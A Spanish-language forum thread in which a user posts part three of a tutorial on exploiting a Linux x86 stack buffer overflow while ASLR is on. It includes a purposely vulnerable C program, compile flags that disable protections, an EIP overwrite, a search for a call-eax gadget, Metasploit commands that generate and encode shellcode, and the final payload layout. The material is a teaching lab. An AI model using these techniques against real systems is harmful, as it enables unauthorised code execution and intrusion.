send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Desbordando el buffer en linux x86 (III) [ASLR bypass]

  • 1 Respuestas
  • 2316 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Septiembre 29, 2014, 02:47:09 pm »


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

You are not allowed to view links. Register or Login

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: C
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. void funcion_vulnerable(char* input)
  5. {
  6.     char buffer[1000];
  7.     You are not allowed to view links. Register or Login(buffer, input);
  8. }
  9. int main(int argc, char** argv)
  10. {
  11.     funcion_vulnerable(argv[1]);
  12.     return 0;
  13. }
  14.  
Verificamos que ASLR se encuentra activo.

Código: Bash
  1. cat /proc/sys/kernel/randomize_va_space
  2. 2
  3.  
De otra manera lo activaremos.

Código: Bash
  1. echo 2 > /proc/sys/kernel/randomize_va_space

Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: Bash
  1. gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c

Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: Bash
  1. r $(python -c 'print "\x41"*1004+"\x42"*4')



Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: Bash
  1. objdump -d vuln|grep call
  2.  





Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: Bash
  1. x/100x $eax



Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: Bash
  1. msf > msfpayload linux/x86/exec CMD=/bin/bash C



El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: Bash
  1. msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c
  2.  



Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.
« Última modificación: Septiembre 29, 2014, 08:26:08 pm por [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Desconectado roadd

  • *
  • Underc0der
  • Mensajes: 118
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Hacking Desde Cero By Roadd Dogg
  • Skype: r0add@hotmail.com
  • Twitter: @RoaddHDC
« Respuesta #1 en: Junio 23, 2015, 11:59:00 am »
Perdona la consulta pero la distancia entre EIP y EAX es siempre la misma o la sacas por el mismo medio que sacas la direccion de EIP en relacion al stack?
Web: You are not allowed to view links. Register or Login
Igm: /secureart
Telegram: @roaddhdc
Correo: r0add@hotmail.com
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Vulnerabilidad en Kali Linux Sana 2.0 CVE-2015-2008 Auditoria Omar Rodriguez

Iniciado por DaRK UnLiMiTeD

Respuestas: 0
Vistas: 2444
Último mensaje Septiembre 28, 2015, 10:37:40 pm
por DaRK UnLiMiTeD
Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

Iniciado por BrowserNet

Respuestas: 5
Vistas: 3161
Último mensaje Diciembre 26, 2016, 03:44:26 am
por Dr4g0n4Y
Nelson.c Local Root Linux Kernel <= 2.6.37

Iniciado por hdbreaker

Respuestas: 0
Vistas: 2821
Último mensaje Junio 22, 2012, 10:10:00 pm
por hdbreaker
Rooteando servidor linux Kernel 2.6.18-194 (Rooting)

Iniciado por andrewtwo

Respuestas: 1
Vistas: 2275
Último mensaje Septiembre 28, 2012, 05:47:27 pm
por Sanko
Rooteando Servidores Linux By:messerschmitt

Iniciado por RooT_Shell

Respuestas: 2
Vistas: 1934
Último mensaje Junio 25, 2010, 08:22:07 pm
por h4ck3r